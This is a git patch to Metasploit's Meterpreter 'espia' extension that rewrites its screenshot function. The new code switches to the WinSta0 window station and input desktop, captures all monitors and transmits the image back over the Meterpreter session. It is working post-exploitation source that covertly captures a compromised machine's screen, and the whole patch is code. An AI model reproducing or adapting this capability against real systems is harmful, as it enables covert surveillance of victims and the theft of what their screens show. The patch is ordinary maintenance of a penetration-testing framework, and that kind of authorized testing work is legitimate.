From a74dedca56cf5e38e61cd1c69d5733683b6c3298 Mon Sep 17 00:00:00 2001
From: Tim W <timrlw@gmail.com>
Date: Tue, 22 Oct 2019 23:36:35 +0800
Subject: [PATCH] fix espia screenshot

---
 .../source/extensions/espia/screen.c          | 173 +++++++++++++++---
 1 file changed, 144 insertions(+), 29 deletions(-)

diff --git a/c/meterpreter/source/extensions/espia/screen.c b/c/meterpreter/source/extensions/espia/screen.c
index 07ffb14f..1546fe4f 100644
--- a/c/meterpreter/source/extensions/espia/screen.c
+++ b/c/meterpreter/source/extensions/espia/screen.c
@@ -897,40 +897,155 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){
 DWORD request_image_get_dev_screen(Remote *remote, Packet *packet)
 {
 	Packet *response = packet_create_response(packet);
-	DWORD res = ERROR_SUCCESS;
-
-	HWND hDesktopWnd;	
-	HDC hdc;
-	HDC hmemdc;
-	HBITMAP hbmp;
-	int sx,sy;
-    
-	hDesktopWnd = GetDesktopWindow();
-	hdc = GetDC(hDesktopWnd);
-	hmemdc = CreateCompatibleDC(hdc);
-
-	if(hdc){
-		sx = GetSystemMetrics(SM_CXSCREEN);
-        sy = GetSystemMetrics(SM_CYSCREEN);
-        
-        hbmp = CreateCompatibleBitmap(hdc,sx,sy);
-       
-		if (hbmp) {
-			SelectObject(hmemdc, hbmp);
-			BitBlt(hmemdc,0,0,sx,sy,hdc,0,0,SRCCOPY);
-			convert_bmp_and_send(hbmp, hmemdc,response);
-			
-			ReleaseDC(hDesktopWnd,hdc);
-			DeleteDC(hmemdc);
-			DeleteObject(hbmp);
+	DWORD dwResult             = ERROR_ACCESS_DENIED;
+	HWINSTA hWindowStation     = NULL;
+	HWINSTA hOrigWindowStation = NULL;
+	HDESK hInputDesktop        = NULL;
+	HDESK hOrigDesktop         = NULL;
+	HWND hDesktopWnd           = NULL;
+	HDC hdc                    = NULL;
+	HDC hmemdc                 = NULL;
+	HBITMAP hbmp               = NULL;
+	OSVERSIONINFO os           = {0};
+	// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
+	int xmetric               = SM_CXVIRTUALSCREEN;
+	int ymetric               = SM_CYVIRTUALSCREEN;
+	int xposition             = SM_XVIRTUALSCREEN;
+	int yposition             = SM_YVIRTUALSCREEN;
+	int sx                    = 0;
+	int sy                    = 0;
+	int sxpos                 = 0;
+	int sypos                 = 0;
 
+	do
+	{
+		os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
 
+		if (!GetVersionEx(&os))
+			BREAK_ON_ERROR("[SCREENSHOT] screenshot: GetVersionEx failed")
 
+		// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
+		if (os.dwMajorVersion <= 4)
+		{
+			xmetric = SM_CXSCREEN;
+			ymetric = SM_CYSCREEN;
 		}
-	}		
 
-	packet_transmit_response(res, remote, response);
+		// open the WinSta0 as some services are attached to a different window station.
+		hWindowStation = OpenWindowStationA("WinSta0", FALSE, WINSTA_ALL_ACCESS);
+		if (!hWindowStation)
+		{
+			if (RevertToSelf())
+				hWindowStation = OpenWindowStationA("WinSta0", FALSE, WINSTA_ALL_ACCESS);
+		}
+
+		// if we cant open the defaut input station we wont be able to take a screenshot
+		if (!hWindowStation)
+			BREAK_WITH_ERROR("[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE);
+
+		// get the current process's window station so we can restore it later on.
+		hOrigWindowStation = GetProcessWindowStation();
+
+		// set the host process's window station to this sessions default input station we opened
+		if (!SetProcessWindowStation(hWindowStation))
+			BREAK_ON_ERROR("[SCREENSHOT] screenshot: SetProcessWindowStation failed");
+
+		// grab a handle to the default input desktop (e.g. Default or WinLogon)
+		hInputDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
+		if (!hInputDesktop)
+			BREAK_ON_ERROR("[SCREENSHOT] screenshot: OpenInputDesktop failed");
+
+		// get the threads current desktop so we can restore it later on
+		hOrigDesktop = GetThreadDesktop(GetCurrentThreadId());
+
+		// set this threads desktop to that of this sessions default input desktop on WinSta0
+		SetThreadDesktop(hInputDesktop);
+
+		// and now we can grab a handle to this input desktop
+		hDesktopWnd = GetDesktopWindow();
+
+		// and get a DC from it so we can read its pixels!
+		hdc = GetDC(hDesktopWnd);
+		if (!hdc)
+			BREAK_ON_ERROR("[SCREENSHOT] screenshot. GetDC failed");
+
+		// back up this DC with a memory DC
+		hmemdc = CreateCompatibleDC(hdc);
+		if (!hmemdc)
+			BREAK_ON_ERROR("[SCREENSHOT] screenshot. CreateCompatibleDC failed");
+
+		// calculate the width and height
+		sx = GetSystemMetrics(xmetric);
+		sy = GetSystemMetrics(ymetric);
+
+		// calculate the absolute virtual screen position
+		// prevent breaking functionality on <= NT 4.0
+		if (os.dwMajorVersion >= 4)
+		{
+			sxpos = GetSystemMetrics(SM_XVIRTUALSCREEN);
+			sypos = GetSystemMetrics(SM_YVIRTUALSCREEN);
+		}
 
 
-	return res;
+		// and create a bitmap
+		hbmp = CreateCompatibleBitmap(hdc, sx, sy);
+		if (!hbmp)
+			BREAK_ON_ERROR("[SCREENSHOT] screenshot. CreateCompatibleBitmap failed");
+
+		// this bitmap is backed by the memory DC
+		if (!SelectObject(hmemdc, hbmp))
+			BREAK_ON_ERROR("[SCREENSHOT] screenshot. SelectObject failed");
+
+		// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
+		// screenshot all available monitors by default
+
+		HMODULE user32 = NULL;
+		if ((user32 = LoadLibraryA("user32")))
+		{
+
+			FARPROC SPDA = GetProcAddress(user32, "SetProcessDPIAware");
+			if (SPDA)
+			{
+				SPDA();
+			}
+			FreeLibrary(user32);
+		}
+		if (!StretchBlt(hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, GetSystemMetrics(SM_CXVIRTUALSCREEN), GetSystemMetrics(SM_CYVIRTUALSCREEN), SRCCOPY))
+			BREAK_ON_ERROR("[SCREENSHOT] screenshot. StretchBlt failed");
+
+		if (convert_bmp_and_send(hbmp, hmemdc, response) != 1)
+			BREAK_WITH_ERROR("[SCREENSHOT] screenshot. convert_bmp_and_send failed", ERROR_INVALID_HANDLE);
+
+		dwResult = ERROR_SUCCESS;
+
+	} while(0);
+
+	if (hdc)
+		ReleaseDC(hDesktopWnd, hdc);
+
+	if (hmemdc)
+		DeleteDC(hmemdc);
+
+	if (hbmp)
+		DeleteObject(hbmp);
+
+	// restore the origional process's window station
+	if (hOrigWindowStation)
+		SetProcessWindowStation(hOrigWindowStation);
+
+	// restore the threads origional desktop
+	if (hOrigDesktop)
+		SetThreadDesktop(hOrigDesktop);
+
+	// close the WinSta0 window station handle we opened
+	if (hWindowStation)
+		CloseWindowStation(hWindowStation);
+
+	// close this last to avoid a handle leak...
+	if (hInputDesktop)
+		CloseDesktop(hInputDesktop);
+
+	packet_transmit_response(dwResult, remote, response);
+
+	return dwResult;
 }